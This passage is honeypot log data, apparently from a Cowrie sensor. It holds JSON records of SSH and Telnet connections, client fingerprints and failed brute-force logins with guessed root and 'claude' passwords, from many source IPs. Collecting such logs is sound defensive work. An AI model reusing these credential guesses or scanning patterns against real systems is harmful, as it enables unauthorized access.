512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:28.227329Z","src_ip":"43.135.176.251","session":"d39c153c9f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"felicidad","message":"login attempt [root/felicidad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:28.536394Z","src_ip":"43.135.176.251","session":"d39c153c9f55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.47565793991089,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:29.086056Z","src_ip":"192.119.13.58","session":"8169198ff9be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.181.124.9","src_port":35860,"dst_ip":"159.203.135.109","dst_port":22,"session":"aac618fad8d4","protocol":"ssh","message":"New connection: 5.181.124.9:35860 (159.203.135.109:22) [session: aac618fad8d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:29.502644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:29.507468Z","src_ip":"5.181.124.9","session":"aac618fad8d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:29.592651Z","src_ip":"5.181.124.9","session":"aac618fad8d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:29.608434Z","src_ip":"43.135.176.251","session":"d39c153c9f55","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"felicidad","message":"login attempt [root/felicidad] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:29.952713Z","src_ip":"5.181.124.9","session":"aac618fad8d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.69790577888489,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:30.448573Z","src_ip":"192.119.13.58","session":"ab8f53ad6269","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:31.038902Z","src_ip":"5.181.124.9","session":"aac618fad8d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":41740,"dst_ip":"10.17.0.5","dst_port":23,"session":"8236403eb3f1","protocol":"telnet","message":"New connection: 192.119.13.58:41740 (10.17.0.5:23) [session: 8236403eb3f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:31.871813Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":37852,"dst_ip":"159.203.135.109","dst_port":22,"session":"015f1dd7b12f","protocol":"ssh","message":"New connection: 92.207.4.157:37852 (159.203.135.109:22) [session: 015f1dd7b12f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:33.605317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:33.610078Z","src_ip":"92.207.4.157","session":"015f1dd7b12f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:33.720218Z","src_ip":"92.207.4.157","session":"015f1dd7b12f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tinkerbell","message":"login attempt [root/tinkerbell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:34.185854Z","src_ip":"92.207.4.157","session":"015f1dd7b12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52742,"dst_ip":"10.17.0.5","dst_port":23,"session":"011664b7c5b8","protocol":"telnet","message":"New connection: 192.119.13.58:52742 (10.17.0.5:23) [session: 011664b7c5b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:34.657911Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54494,"dst_ip":"10.17.0.5","dst_port":23,"session":"54a9e6c54d6d","protocol":"telnet","message":"New connection: 192.119.13.58:54494 (10.17.0.5:23) [session: 54a9e6c54d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:35.095768Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:35.297137Z","src_ip":"92.207.4.157","session":"015f1dd7b12f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":35600,"dst_ip":"10.17.0.5","dst_port":23,"session":"5482ba619df4","protocol":"telnet","message":"New connection: 192.119.13.58:35600 (10.17.0.5:23) [session: 5482ba619df4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:37.396752Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":64415,"dst_ip":"10.17.0.5","dst_port":22,"session":"0062ce49f6d8","protocol":"ssh","message":"New connection: 186.122.177.140:64415 (10.17.0.5:22) [session: 0062ce49f6d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:38.528444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:38.533258Z","src_ip":"186.122.177.140","session":"0062ce49f6d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.243.239.219","src_port":3072,"dst_ip":"10.17.0.5","dst_port":22,"session":"cfb324da1cc2","protocol":"ssh","message":"New connection: 74.243.239.219:3072 (10.17.0.5:22) [session: cfb324da1cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:38.559601Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:38.564743Z","src_ip":"74.243.239.219","session":"cfb324da1cc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:38.712407Z","src_ip":"186.122.177.140","session":"0062ce49f6d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:38.731959Z","src_ip":"74.243.239.219","session":"cfb324da1cc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"claude","message":"login attempt [claude/claude] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:39.434121Z","src_ip":"74.243.239.219","session":"cfb324da1cc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"network","message":"login attempt [root/network] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:39.567048Z","src_ip":"186.122.177.140","session":"0062ce49f6d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:40.608531Z","src_ip":"74.243.239.219","session":"cfb324da1cc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:40.750784Z","src_ip":"186.122.177.140","session":"0062ce49f6d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":54580,"dst_ip":"10.17.0.5","dst_port":23,"session":"bae3b1a95e0d","protocol":"telnet","message":"New connection: 192.119.13.58:54580 (10.17.0.5:23) [session: bae3b1a95e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:42.118731Z"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":46900,"dst_ip":"10.17.0.5","dst_port":22,"session":"1a5657d32bb9","protocol":"ssh","message":"New connection: 59.126.224.134:46900 (10.17.0.5:22) [session: 1a5657d32bb9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:44.644199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:44.649750Z","src_ip":"59.126.224.134","session":"1a5657d32bb9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:44.887950Z","src_ip":"59.126.224.134","session":"1a5657d32bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":58298,"dst_ip":"159.203.135.109","dst_port":22,"session":"1de4c3d071d3","protocol":"ssh","message":"New connection: 167.172.81.52:58298 (159.203.135.109:22) [session: 1de4c3d071d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:45.529995Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:45.554545Z","src_ip":"167.172.81.52","session":"1de4c3d071d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:45.566525Z","src_ip":"167.172.81.52","session":"1de4c3d071d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40266,"dst_ip":"10.17.0.5","dst_port":23,"session":"776fd1039262","protocol":"telnet","message":"New connection: 192.119.13.58:40266 (10.17.0.5:23) [session: 776fd1039262]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:45.674064Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Star@123","message":"login attempt [root/Star@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:45.871900Z","src_ip":"59.126.224.134","session":"1a5657d32bb9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:47.162835Z","src_ip":"59.126.224.134","session":"1a5657d32bb9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":14860,"dst_ip":"159.203.135.109","dst_port":22,"session":"433f27fae0d3","protocol":"ssh","message":"New connection: 165.154.23.26:14860 (159.203.135.109:22) [session: 433f27fae0d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:50.628984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:50.639089Z","src_ip":"165.154.23.26","session":"433f27fae0d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:50.846459Z","src_ip":"165.154.23.26","session":"433f27fae0d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tricia","message":"login attempt [root/tricia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:51.680810Z","src_ip":"165.154.23.26","session":"433f27fae0d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:52.896607Z","src_ip":"165.154.23.26","session":"433f27fae0d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.4361515045166,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:54.586465Z","src_ip":"192.119.13.58","session":"125cbe295f8a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.45036840438843,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:51:57.260496Z","src_ip":"192.119.13.58","session":"bd44f938978e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":34310,"dst_ip":"10.17.0.5","dst_port":22,"session":"56c44f0e541a","protocol":"ssh","message":"New connection: 43.135.177.217:34310 (10.17.0.5:22) [session: 56c44f0e541a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:00.476799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:00.481941Z","src_ip":"43.135.177.217","session":"56c44f0e541a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":43204,"dst_ip":"159.203.135.109","dst_port":22,"session":"57ef30e8ab33","protocol":"ssh","message":"New connection: 207.56.225.202:43204 (159.203.135.109:22) [session: 57ef30e8ab33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:00.504424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:52:00.511841Z","src_ip":"207.56.225.202","session":"57ef30e8ab33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-s